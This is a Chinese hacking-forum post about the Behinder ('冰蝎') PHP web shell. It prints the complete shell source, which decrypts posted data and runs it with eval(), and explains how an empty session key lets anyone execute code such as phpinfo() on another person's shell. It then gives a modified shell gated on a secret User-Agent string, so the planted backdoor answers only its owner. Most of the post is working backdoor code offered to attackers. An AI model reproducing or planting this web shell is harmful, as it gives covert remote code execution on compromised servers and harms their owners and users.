冰蝎马 那可有可无的密码 -- 在爆菊的路上越走越远

2020-05-09 17:08:42 48 4737 1


冰蝎马 那可有可无的密码 -- 在爆菊的路上越走越远

下面这个是默认的冰蝎马:
<?php
@error_reporting(0);
session_start();
if (isset($_GET['pass']))
{
    $key=substr(md5(uniqid(rand())),16);
    $_SESSION['k']=$key;
    print $key;
}
else
{
    $key=$_SESSION['k'];
        $post=file_get_contents("php://input").'';
        if(!extension_loaded('openssl'))
        {
                $t="base64_"."decode";
                $post=$t($post."");
               
                for($i=0;$i<strlen($post);$i++) {
                             $post[$i] = $post[$i]^$key[$i+1&15];
                            }
        }
        else
        {
                $post=openssl_decrypt($post, "AES128", $key);
        }
    $arr=explode('|',$post);
    $func=$arr[0];
    $params=$arr[1];
        @eval($params);
}
?>
当 有get有参数pass时,随机一个密码给session[k]并打印出来
if (isset($_GET['pass']))
{
    $key=substr(md5(uniqid(rand())),16);
    $_SESSION['k']=$key;
    print $key;
}
如果get没有参数pass时,读取session[k] 来当作解密的密钥,接收 put 的数据,解密然后通过 | 分割执行。
{
    $key=$_SESSION['k'];
        $post=file_get_contents("php://input").'';
        if(!extension_loaded('openssl'))
        {
                $t="base64_"."decode";
                $post=$t($post."");
               
                for($i=0;$i<strlen($post);$i++) {
                             $post[$i] = $post[$i]^$key[$i+1&15];
                            }
        }
        else
        {
                $post=openssl_decrypt($post, "AES128", $key);
        }
    $arr=explode('|',$post);
    $func=$arr[0];
    $params=$arr[1];
        @eval($params);
}
如果我刚开始 不访问 shell.php?pass=1 那么seesion[k]就不会被赋值,也就是空。
我直接 通过 openssl_encrypt('|phpinfo();','AES128','');  加密phpinfo。// key值 为空
然后echo 加密后的值,post 提交给冰蝎马。那么phpinfo();也会被执行成功。
造成我即使不知道密码我也能连接你的shell。

然后 稍微改一下 加一个 认证就好了。。。
我这里用ua做的认证,或者其他的也好。
使用方法就是 连接的时候把UA设置成:123321666 就可以了
<?php
@error_reporting(0);
session_start();
if (isset($_GET['pass']))
{
    $key=substr(md5(uniqid(rand())),16);
    $_SESSION['k']=$key;
    print $key;
}
else
{
    $key=$_SESSION['k'];
        $post=file_get_contents("php://input").'';
        if(!extension_loaded('openssl'))
        {
                $t="base64_"."decode";
                $post=$t($post."");
               
                for($i=0;$i<strlen($post);$i++) {
                             $post[$i] = $post[$i]^$key[$i+1&15];
                            }
        }
        else
        {
                $post=openssl_decrypt($post, "AES128", $key);
        }
if($_SERVER['HTTP_USER_AGENT'] == '123321666'){
    $arr=explode('|',$post);
    $func=$arr[0];
    $params=$arr[1];
        @eval($params);
}
}
?>

关于作者

kl_52032篇文章561篇回复

接地气的小跑腿。 --傀儡

评论48次

要评论?请先  登录  或  注册